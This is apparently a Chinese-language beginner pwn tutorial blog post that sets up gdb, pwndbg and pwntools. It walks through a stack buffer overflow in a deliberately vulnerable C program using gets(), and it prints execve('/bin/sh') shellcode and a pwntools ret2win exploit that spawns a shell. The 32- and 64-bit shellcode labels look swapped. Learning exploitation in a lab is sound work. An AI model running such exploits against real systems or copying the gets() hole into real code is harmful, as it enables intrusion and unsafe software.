PWN 入门 (一)
安装gdbapt-get updateapt install -y gdbgit clone https://github.com/pwndbg/pwndbgcd pwndbg 2022-10-18 18:11:13 Author: rce.moe(查看原文) 阅读量:0 收藏

安装gdb

apt-get update
apt install -y gdb
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

安装pwntools

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

安装 32位GCC库

apt-get install gcc-multilib

32位编译且关闭内存保护和报错
gcc -m32 -O0 -fno-stack-protector -z execstack -o exp exp.c
关闭地址随机化(需root,重启后恢复)
echo 0 > /proc/sys/kernel/randomize_va_space
查看文件属性
file exp
查看文件保护
checksec exp
msf定位偏移量
msf-pattern_create -l 400
msf-pattern_offset -q 4Ab5
查看程序导入的函数
objdump -R exp
查看所有函数以及汇编代码
objdump -d exp

gdb常用命令

载入程序
gdb -q exp
带参数载入程序
gdb -q -args ./exp AAAA
调试的一开始输入(如果断点失败可能需要这条)
starti
查看main函数
disass main
查看main函数地址
info address main
下断点
b *0x080491ef
b main
查看断点
info b
清除断点
d
运行
r
带参数运行
r python -r 'print("A"*400)'
查看进程中的权限
vmmap
单步执行
s
执行一行代码
n
继续到下一个断点
c
地址运算
p/d 0xffffd130-0xffffd100
查看50栈空间
s 50
退出
q

ida常用按键

反编译
F5
查看所有字符串
shift+F12
返回
Esc
切换图形/汇编视图
空格

pwntools常用代码

本地溢出

from pwn import *
p = process('./epwn')payload= p32(0x0804863A)print("a"*112 + payload)p.sendline('a'*112 + payload) p.interactive()

远程溢出

p = remote(‘127.0.0.1’,5667)
32位shellcode

print(asm(shellcraft.sh()))
64位shellcode

context.arch = “amd64”print(asm(shellcraft.amd64.sh()))

通用shellcode

32位

int main() { unsigned char shellcode[] = “\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05”; int (ret)() = (int()())shellcode; ret(); return 0;}
64位

void main(){ char shellcode[] = “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80”; void (fp)(void); fp = (void)shellcode; fp();}
如果需要编译
gcc -m32 -z execstack shell32.c

编译程序

#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
system("/bin/sh");
}
void test() {
puts("Connection Successful.");
}
void vulnerable() {
char s[12];//s字符数组空间长度只有12位
gets(s);//gets 从标准输入获取字符放入s中 输入长度没有限制
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

gcc -m32 -z execstack tset.c

  • m32 生成32位代码
  • execstack 开启可执行栈 (默认GCC 是关闭可执行栈)

图片.png

分析程序

图片.png
图片.png

图片.png
给gets 打个断点
b *地址
运行
r
单步执行
n
执行到gets 输入字符串
打印栈
stack+长度
stack 30
图片.png
输入12位字符串
图片.png
输入长字符串
很明显,用户的输入把一部分代码覆盖掉了
s字符数组空间只有12位,gets 输入长度没有限制
如果输入超长数据,那么多出的字符会覆盖内存中其他数据 如果覆盖到代码则可能会导致执行异常.
00:0000│ esp 0xffffd520 —▸ 0xffffd534 ◂— ‘1234567890ab’
01:0004│ 0xffffd524 —▸ 0xf7fd7a6c (_dl_fixup+236) ◂— mov edi, eax
02:0008│ 0xffffd528 —▸ 0xf7c18482 ◂— ‘_dl_audit_preinit’
03:000c│ 0xffffd52c —▸ 0x56556220 (vulnerable+12) ◂— add ebx, 0x2dd4
04:0010│ 0xffffd530 —▸ 0xffffd570 —▸ 0xf7e20ff4 (GLOBAL_OFFSET_TABLE) ◂— 0x220d8c
05:0014│ eax 0xffffd534 ◂— ‘1234’
06:0018│ 0xffffd538 ◂— ‘5678’
07:001c│ 0xffffd53c ◂— ‘90ab’
08:0020│ 0xffffd540 ◂— 0x0
09:0024│ 0xffffd544 —▸ 0xf7e20ff4 (GLOBAL_OFFSET_TABLE) ◂— 0x220d8c
0a:0028│ ebp 0xffffd548 —▸ 0xffffd558 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— …
0b:002c│ 0xffffd54c —▸ 0x5655625f (main+21) ◂— mov eax, 0
当vulnerable函数执行完后需要通过这个地址返回到main函数来继续执行程序
图片.png
我们只需要覆盖这块地址上的内存 就可以控制返回地址 达到执行内存中任意已经存在的代码
通过简单的计算可得出playload长度
0x28-0x14=0x14(24)
输入任意24个字符之后加上4位地址就可以准确覆盖原有地址
图片.png
题目里提供了一个后门函数
函数内执行了 system(“/bin/sh”)
我们只要将目标地址设为这个函数地址,就可以执行这个函数来获得一个交互bash shell. 最终达成RCE的目的.

PWN!

这里需要注意的是: 32位地址在内存中是小端储存
需要转换一下 0x565561ad ->0xad615556
最终payload
aaaaaaaaaaaaaaaaaaaaaaaa\xad\x61\x55\x56
也可以使用pwntools 完成PWN 简化操作

from pwn import *
p = process('./a.out')
payload= p32(0x565561ad)#大端地址转换为32位地址 (小端)
p.sendline(b'a'*24 + payload)
p.interactive()#开始终端交互

图片.png
参考
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/
https://mp.weixin.qq.com/s/xBNB-FLRLafLhAgmMg6Ydw
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

版权声明:本文首发于白帽酱的博客,转载请注明出处!


文章来源: https://rce.moe/2022/10/18/PWN-BASIC-1/
如有侵权请联系:admin#unsafe.sh